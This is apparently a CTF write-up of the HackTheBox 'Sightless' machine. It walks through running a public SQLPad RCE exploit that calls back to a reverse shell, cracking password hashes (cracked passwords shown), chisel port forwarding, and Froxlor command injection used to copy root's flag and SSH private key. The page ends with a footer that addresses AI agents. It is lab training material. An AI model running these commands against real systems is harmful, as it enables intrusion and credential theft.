> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/sightless-hackthebox-writeup.md).

# Sightless HackTheBox Writeup

Sightless HackTheBox Easy Linux machine writeup covering SQLPad Exploitation, LINpeas enumeration system, Cracking Hashes (John), Port Forwarding (chisel), with practical enumeration, exploitation, fo

{% embed url="<https://app.hackthebox.com/machines/Sightless>" %}

{% hint style="warning" %}
**Skills**:

* SQLPad Exploitation
* LINpeas enumeration system
* Cracking Hashes (John)
* Port Forwarding (chisel)
* Froxlor (command injection )
  {% endhint %}

## Reconnaissance <a href="#reconnaissance" id="reconnaissance"></a>

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f9e6ab36d7dadf9a8411fb969fb37466375fbb3%2Fimage%20(1359).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-756e987ebcb9f402d90a1e2d2f68021ed74f857f%2Fimage%20(1360).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.32 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5dfa7e8246b25b62d89fbd3b0c3e6cd73a0aa589%2Fimage%20(1361).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (21,22,80)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f61cc6931b3442fa7a0eb362e8d36bd372fc856b%2Fimage%20(1362).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Port version scan with Nmap:

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p80,22,21 10.10.11.32 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7aa4c50333ef022a91296cd35a68c95f175ff4d%2Fimage%20(1365).png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names into IP addresses via DNS, we insert the domain name associated with its IP address into the `/etc/hosts` file:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e9b97364d416f17ca8b27e67d65ea87301bd9478%2Fimage%20(1369).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f7eccbf2176a0340e2b6fd23bf6d9b90026a4bf%2Fimage%20(1364).png?alt=media" alt=""><figcaption></figcaption></figure>

We find a potential email: `sales@sightless.htb`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3e452fbf20545d3745d83dd14a53a616b2c1b49%2Fimage%20(1367).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Vulnerability SQLPad:

{% hint style="info" %}
**SQLPad** is an open-source tool that makes it easy to execute, view and share SQL queries via a user-friendly web interface. It is ideal for data teams or developers.
{% endhint %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-580680ebbe95a8a090523efcf271c64027e6aab7%2Fimage%20(1368).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**`http://sqlpad.sightless.htb`**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-faa56ee4cdce6b4e62acacf29ade4443db213857%2Fimage%20(1370).png?alt=media" alt=""><figcaption></figcaption></figure>

**Vulnerable version:**

The instance at `http://admin.sightless.htb` uses SQLPad 6.10.0, which has a known vulnerability.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c42a95f00564e059d429ca4c7b0c3c72beebdf9%2Fimage%20(1371).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944>" %}

**Installation:**

```bash
git clone https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944
cd sqlpad-rce-exploit-CVE-2022-0944
```

**Running the exploit:**

```bash
python3 exploit.py http://sqlpad.sightless.htb/ 10.10.14.89 443
```

We listen on port 443 with `nc`, and gain access.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-18c0f6f45aefd9b0da1bae4f5496d008bedede00%2Fimage%20(1372).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

Accessing the system root, we find two users: `michael` and `node`, as well as a script named `linpeas.sh`. The latter is used to enumerate the system to detect potential vulnerabilities.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9dc678bd36ebf82e44fa94f7ea61b5596c1b4a9b%2Fimage%20(1373).png?alt=media" alt=""><figcaption></figcaption></figure>

### **System Enumeration (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):** <a href="#system-enumeration-linpeas" id="system-enumeration-linpeas"></a>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ac60fe1f7721b4836c7902a02584b8cf3e563ef%2Fimage%20(1375).png?alt=media" alt=""><figcaption></figcaption></figure>

We use Linpeas for privilege recognition and discover the hashed passwords of users `root` and `michael`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05afd11101a62b02b8632974232a61bfd93ce6a9%2Fimage%20(1374).png?alt=media" alt=""><figcaption></figcaption></figure>

We try to crack these passwords with John and the Rockyou dictionary:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

Here are the recovered passwords:

`root:blindside`

`michael:insaneclownposse`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d3a5114ba3564a7cc59b836355c4d3b033bb94fc%2Fimage%20(1376).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt

By logging in with user `michael`, we obtain the file `user.txt`. However, the root password seems incorrect.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-65bf1a834d9fccb71f7fa8b1aff55ac4e371d7c6%2Fimage%20(1377).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Chisel (Port Forwarding)**

We will first observe the open ports internally with the following command:

```bash
netstat -nltp
```

We notice that the port **8080** catches our attention.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6043a34b3605af1f8cbc1f025c9ffea35887c01a%2Fimage%20(2280).png?alt=media" alt=""><figcaption></figcaption></figure>

By making a `curl` request on this port, we obtain an HTML page containing a login form with a username and password.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9b56c744b4817bd072a0f579da757e4df025390%2Fimage%20(2281).png?alt=media" alt=""><figcaption></figcaption></figure>

To expose this internal content to the outside, we will use the **Chisel** tool. We will transfer the Chisel binary to our machine using **Python** and **wget**:

```bash
wget http://10.10.15.35:321/chisel

python3 -m http.server 321
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-907b75bfe3b2c7f9c902ae941b846a04257b3044%2Fimage%20(2282).png?alt=media" alt=""><figcaption></figcaption></figure>

Next, we listen to our attacking machine on port **8888**:

```bash
chisel server -p 8888 -reverse
```

On the target machine, we run the Chisel script in client mode to connect to our attacking machine on port **8888**. We thus redirect the localhost of the victim's port **8080** to our port **8081**:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-73669120bf1db828206a903a5f52255ddd56ee5b%2Fimage%20(2283).png?alt=media" alt=""><figcaption></figcaption></figure>

In this way, we externally exposed the service that was running internally on port **8080** (**Froxlor**).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92f1121d37bee954af5074ecf7d1ad70c49645e2%2Fimage%20(2284).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

`admin:ForlorfroxAdmin`

{% hint style="info" %}
Froxlor is a web hosting management control panel that allows users to easily manage their servers and hosting services. It provides a user-friendly interface for configuring and administering server resources, such as domains, databases, FTP accounts, and email services.
{% endhint %}

**Create a New PHP Version :**

After logging in, go to the “PHP” section, then “PHP-FPM Versions” and create a new version. In the PHP-FPM restart command field, enter the following command: `cp /root/root.txt /tmp/root.txt`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-503a82b6bb71949a3a185e4ac7eec7e177105938%2Fimage%20(1352).png?alt=media" alt=""><figcaption></figcaption></figure>

Save the configuration then go to `http://127.0.0.1:8081/admin_settings.php?start=phpfpm`. Disable PHP-FPM and save the changes, then re-enable it and save again. This will trigger the copy command to execute.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-090a4c059ddb05f5ce59af4c29064b5b3d126c16%2Fimage%20(1350).png?alt=media" alt=""><figcaption></figcaption></figure>

Here is the file, you must now give the rights:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-510f43bbff56cee83d7ea472650d3e272b9cd103%2Fimage%20(1353).png?alt=media" alt=""><figcaption></figcaption></figure>

To proceed, repeat the same process but replace the command with:

```bash
chmod 644 /tmp/root.txt
```

### Flag root : )

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e300ed7f41cab5407b3dfde54932cb0ab298aa7%2Fimage%20(1356).png?alt=media" alt=""><figcaption></figcaption></figure>

To connect, you just have to copy the `id_rsa` key (SSH from root) and repeat the procedure to restore the permissions:

```bash
cp /root/.ssh/id_rsa /tmp/id_rsa
```

```bash
chmod 644 /tmp/root.txt
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7efe9a4c996c58b02d1b1cf6f6fbaa50dfa70df9%2Fimage%20(1357).png?alt=media" alt=""><figcaption></figcaption></figure>

Then log in with the key via SSH:

```bash
ssh -i id_rsa root@localhost
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7fbd203b84f36a33c25481f46154342bc4bc31f0%2Fimage%20(1358).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b99990b72ce68d82db4349289b9ab21a8018ccf6%2Fimage%20(1355).png?alt=media" alt="" width="543"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/sightless-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
